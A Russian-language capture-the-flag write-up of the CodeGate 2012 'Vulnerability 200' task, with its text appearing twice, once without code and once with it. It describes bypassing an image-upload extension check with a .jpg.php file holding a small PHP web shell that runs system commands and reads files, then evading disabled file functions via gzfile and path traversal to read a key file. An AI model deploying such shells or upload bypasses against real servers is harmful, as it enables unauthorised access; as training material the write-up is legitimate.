Vulnerability 200 - CodeGate 2012 write-up
Vulnerability #2
Тоже не сложный таск, но пришлось изрядно погуглить. Этот таск встречает нас формой загрузки изображений, при этом принимаются только .jpg картинки. Но, как обычно, проверка на расширение файла не корректная.
Загружаем файл image.jpg.php с мини шёллом
Смотрим листинг директорий, ничего интересного ни в текущей папке, ни в корне сайта не находим. Пытаемся прочитать файл index.php и получаем сообщение о том, что функция file_get_contents отключена.
Смотрим phpinfo и видим:
Кроме того, запрещены системные вызовы. Печалимся, но продолжаем искать нужный файл, и находим его на рабочем столе:
Название подсказывает, что либо это ключ к винде, либо флаг к таску, надеемся на лучшее и думаем, как же его прочитать.
Попытка сделать include не помогает, возвращает пустой результат. После долгих поисков вспоминаем про замечательные функции zlib, которые умеют читать не только запакованные файлы (если файл не запакован, то просто возвращается его содержимое).
Дописываем к шёллу работу с функцией gzfile и успешно получаем флаг:
А заодно и понимаем, почему include возвращал пустую страницу.
Get a shell if u can
Тоже не сложный таск, но пришлось изрядно погуглить. Этот таск встречает нас формой загрузки изображений, при этом принимаются только .jpg картинки. Но, как обычно, проверка на расширение файла не корректная.
Загружаем файл image.jpg.php с мини шёллом
if($_GET['f'])echo file_get_contents($_GET['f']);else
if($_GET['d'])var_dump(scandir($_GET['d']));else
if($_GET['s'])var_dump(system($_GET['s']));else
if($_GET['i'])include($_GET['i']);else
phpinfo();
Смотрим листинг директорий, ничего интересного ни в текущей папке, ни в корне сайта не находим. Пытаемся прочитать файл index.php и получаем сообщение о том, что функция file_get_contents отключена.
Warning: file_get_contents() has been disabled for security reasons in...
Смотрим phpinfo и видим:
disable_functions: basename,chgrp,chmod,chown,clearstatcache,copy,delete,dirname,disk_free_space,disk_total_space,diskfreespace,fclose,feof,fflush,fgetc,fgetcsv,fgets,fgetss,file_exists,file_get_contents,file_put_contents,file,fileatime,filectime,filegroup,fileinode,filemtime,fileowner,fileperms,filesize,filetype,flock,fnmatch,fopen,fpassthru,fputcsv,fputs,fread,fscanf,fseek,fstat,ftell,ftruncate,fwrite,glob,is_dir,is_executable,is_file,is_link,is_readable,is_writable,is_writeable,lchgrp,lchown,link,linkinfo,lstat,mkdir,parse_ini_file,parse_ini_string,pathinfo,pclose,popen,readfile,readlink,realpath_ cache_ get,realpath_ cache_ size,realpath,rename,rewind,rmdir,set_file_buffer,stat,symlink,tempnam,tmpfile,touch,umask,unlink
Кроме того, запрещены системные вызовы. Печалимся, но продолжаем искать нужный файл, и находим его на рабочем столе:
../../../../../../Users/codegate2/Desktop/Codegate 2012 Key.txt
Название подсказывает, что либо это ключ к винде, либо флаг к таску, надеемся на лучшее и думаем, как же его прочитать.
Попытка сделать include не помогает, возвращает пустой результат. После долгих поисков вспоминаем про замечательные функции zlib, которые умеют читать не только запакованные файлы (если файл не запакован, то просто возвращается его содержимое).
Дописываем к шёллу работу с функцией gzfile и успешно получаем флаг:
<?
/*
Good Job !
Key is 16b7a4c5162d4dee6a0a6286cd475dfb
*/
?>
А заодно и понимаем, почему include возвращал пустую страницу.